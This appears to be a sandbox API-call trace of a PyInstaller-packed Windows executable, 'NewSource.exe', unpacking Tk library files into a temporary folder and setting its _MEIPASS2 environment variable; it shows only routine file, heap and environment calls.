lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0045.008] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0045.008] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0045.009] GetFileType (hFile=0x10c) returned 0x1 [0045.009] htonl (hostlong=0x59b06000) returned 0x60b059 [0045.009] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x656059, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0045.011] htonl (hostlong=0x8a0a0000) returned 0xa8a [0045.011] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa8a) returned 0x55e278 [0045.011] htonl (hostlong=0x8a0a0000) returned 0xa8a [0045.011] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0045.011] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0045.011] htonl (hostlong=0x7e2c0000) returned 0x2c7e [0045.011] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2c7e) returned 0x562098 [0045.012] htonl (hostlong=0x8a0a0000) returned 0xa8a [0045.012] htonl (hostlong=0x7e2c0000) returned 0x2c7e [0045.012] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x564d20 [0045.012] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564d20 | out: hHeap=0x530000) returned 1 [0045.012] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0045.012] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0045.012] CloseHandle (hObject=0x10c) returned 1 [0045.012] GetLastError () returned 0x0 [0045.012] SetLastError (dwErrCode=0x0) [0045.012] GetLastError () returned 0x0 [0045.012] SetLastError (dwErrCode=0x0) [0045.012] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0045.012] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0045.012] GetFileType (hFile=0x10c) returned 0x1 [0045.012] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0045.012] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0045.012] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0045.012] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0045.012] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0045.012] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0045.012] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0045.012] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0045.012] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0045.012] CloseHandle (hObject=0x10c) returned 1 [0045.012] GetLastError () returned 0x0 [0045.013] SetLastError (dwErrCode=0x0) [0045.013] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\unsupported.tcl") returned 64 [0045.013] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\unsupported.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\unsupported.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0045.013] GetLastError () returned 0x2 [0045.013] SetLastError (dwErrCode=0x2) [0045.013] GetLastError () returned 0x2 [0045.013] SetLastError (dwErrCode=0x2) [0045.013] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\unsupported.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\unsupported.tcl", lpFilePart=0x0) returned 0x3f [0045.013] GetLastError () returned 0x2 [0045.013] SetLastError (dwErrCode=0x2) [0045.013] GetLastError () returned 0x2 [0045.013] SetLastError (dwErrCode=0x2) [0045.013] GetLastError () returned 0x2 [0045.013] SetLastError (dwErrCode=0x2) [0045.013] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\unsupported.tcl") returned 64 [0045.013] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0045.013] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\unsupported.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\unsupported.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0045.013] GetFileType (hFile=0x10c) returned 0x1 [0045.013] htonl (hostlong=0x7e2c0000) returned 0x2c7e [0045.013] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0045.014] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0045.015] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xc7e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xc7e, lpOverlapped=0x0) returned 1 [0045.015] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0045.015] CloseHandle (hObject=0x10c) returned 1 [0045.015] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0045.015] htonl (hostlong=0x30000000) returned 0x30 [0045.016] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0045.016] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0045.016] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0045.016] GetFileType (hFile=0x10c) returned 0x1 [0045.016] htonl (hostlong=0xe3ba6000) returned 0x60bae3 [0045.016] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x656ae3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0045.016] htonl (hostlong=0xee1a0000) returned 0x1aee [0045.016] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1aee) returned 0x561090 [0045.017] htonl (hostlong=0xee1a0000) returned 0x1aee [0045.017] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0045.017] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x562b88 [0045.017] ReadFile (in: hFile=0x10c, lpBuffer=0x562b88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x562b88*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0045.017] htonl (hostlong=0x76650000) returned 0x6576 [0045.017] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6576) returned 0x563b90 [0045.017] htonl (hostlong=0xee1a0000) returned 0x1aee [0045.017] htonl (hostlong=0x76650000) returned 0x6576 [0045.017] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56a110 [0045.018] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56a110 | out: hHeap=0x530000) returned 1 [0045.018] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0045.018] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562b88 | out: hHeap=0x530000) returned 1 [0045.018] CloseHandle (hObject=0x10c) returned 1 [0045.018] GetLastError () returned 0x0 [0045.018] SetLastError (dwErrCode=0x0) [0045.018] GetLastError () returned 0x0 [0045.018] SetLastError (dwErrCode=0x0) [0045.018] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0045.018] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0045.018] GetFileType (hFile=0x10c) returned 0x1 [0045.018] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0045.018] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0045.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0045.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0045.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0045.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0045.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0045.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0045.018] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0045.018] CloseHandle (hObject=0x10c) returned 1 [0045.018] GetLastError () returned 0x0 [0045.018] SetLastError (dwErrCode=0x0) [0045.018] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\xmfbox.tcl") returned 59 [0045.018] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\xmfbox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\xmfbox.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0045.019] GetLastError () returned 0x2 [0045.019] SetLastError (dwErrCode=0x2) [0045.019] GetLastError () returned 0x2 [0045.019] SetLastError (dwErrCode=0x2) [0045.019] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\xmfbox.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\xmfbox.tcl", lpFilePart=0x0) returned 0x3a [0045.019] GetLastError () returned 0x2 [0045.019] SetLastError (dwErrCode=0x2) [0045.019] GetLastError () returned 0x2 [0045.019] SetLastError (dwErrCode=0x2) [0045.019] GetLastError () returned 0x2 [0045.019] SetLastError (dwErrCode=0x2) [0045.019] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\xmfbox.tcl") returned 59 [0045.019] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0045.019] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\xmfbox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\xmfbox.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0045.019] GetFileType (hFile=0x10c) returned 0x1 [0045.019] htonl (hostlong=0x76650000) returned 0x6576 [0045.019] WriteFile (in: hFile=0x10c, lpBuffer=0x563b90*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x563b90*, lpNumberOfBytesWritten=0x4fcd00*=0x6000, lpOverlapped=0x0) returned 1 [0045.020] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0045.020] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x576, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x576, lpOverlapped=0x0) returned 1 [0045.021] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0045.021] CloseHandle (hObject=0x10c) returned 1 [0045.021] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563b90 | out: hHeap=0x530000) returned 1 [0045.021] htonl (hostlong=0x20000000) returned 0x20 [0045.021] htonl (hostlong=0x20000000) returned 0x20 [0045.021] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd705cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0045.021] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x16) returned 0x543b28 [0045.022] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd705cc, cbMultiByte=-1, lpWideCharStr=0x543b28, cchWideChar=10 | out: lpWideCharStr="_MEIPASS2") returned 10 [0045.022] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54dc40, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x5c) returned 0x55cfe0 [0045.022] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54dc40, cbMultiByte=-1, lpWideCharStr=0x55cfe0, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842") returned 45 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x6e) returned 0x550600 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x94) returned 0x550678 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3e) returned 0x5453b8 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x50) returned 0x5504d8 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x6e) returned 0x550718 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x78) returned 0x550790 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x62) returned 0x550810 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x28) returned 0x541f60 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x48) returned 0x55fee8 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1a) returned 0x54ff80 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2e) returned 0x53f688 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x56) returned 0x55d048 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2a) returned 0x53f6f8 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2e) returned 0x55e890 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x44) returned 0x55fe98 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1c) returned 0x54fd78 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x182) returned 0x550880 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x7c) returned 0x550a10 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x36) returned 0x55f0a0 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3a) returned 0x5456d0 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x90) returned 0x550a98 [0045.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x561510 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x30) returned 0x55e7b0 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x36) returned 0x55f2a0 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x48) returned 0x560028 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x52) returned 0x550b30 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3c) returned 0x545208 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xd6) returned 0x55ea80 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2e) returned 0x55e430 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1e) returned 0x54fcd8 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2c) returned 0x55e7e8 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x50) returned 0x550b90 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x4e) returned 0x550be8 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x5611e0 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x42) returned 0x55ff88 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x20) returned 0x54ffd0 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x38) returned 0x55f660 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x5610f0 [0045.023] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x550678) returned 0x94 [0045.023] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x550678, Size=0x98) returned 0x550678 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x70) returned 0x55eb60 [0045.023] SetEnvironmentVariableW (lpName="_MEIPASS2", lpValue="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842") returned 1 [0045.023] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55eb60 | out: hHeap=0x530000) returned 1 [0045.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_MEIPASS2", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0045.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x37) returned 0x55f320 [0045.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_MEIPASS2", cchWideChar=-1, lpMultiByteStr=0x55f320, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_MEIPASS2", lpUsedDefaultChar=0x0) returned 10 [0045.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", cchWideChar=-1, lpMultiByteStr=0x55f32a, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", lpUsedDefaultChar=0x0) returned 45 [0045.024] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x55cb38) returned 0x94 [0045.024] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x55cb38, Size=0x98) returned 0x55cb38 [0045.024] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x543b28 | out: hHeap=0x530000) returned 1 [0045.024] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0045.024] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd705cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0045.024] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x16) returned 0x543c88 [0045.024] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd705cc, cbMultiByte=-1, lpWideCharStr=0x543c88, cchWideChar=10 | out: lpWideCharStr="_MEIPASS2") returned 10 [0045.024] GetEnvironmentVariableW (in: lpName="_MEIPASS2", lpBuffer=0x4f8eac, nSize=0x2000 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842") returned 0x2c [0045.024] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", lpDst=0x4faeac, nSize=0x2000 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842") returned 0x2d [0045.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0045.024] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2e) returned 0x55e510 [0045.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", cchWideChar=-1, lpMultiByteStr=0x55e510, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", lpUsedDefaultChar=0x0) returned 45 [0045.024] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2d) returned 0x55e388 [0045.024] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4fded4, cbMultiByte=-1, lpWideCharStr=0x4faea8, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0045.024] SetConsoleCtrlHandler (HandlerRoutine=0xd5eb75, Add=1) returned 1 [0045.024] GetStartupInfoW (in: lpStartupInfo=0x4fae64 | out: lpStartupInfo=0x4fae64*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0045.024] GetLastError () returned 0x0 [0045.024] SetLastError (dwErrCode=0x0) [0045.024] GetLastError () returned 0x0 [0045.024] SetLastError (dwErrCode=0x0) [0045.026] GetLastError () returned 0x0 [0045.026] SetLastError (dwErrCode=0x0) [0045.026] 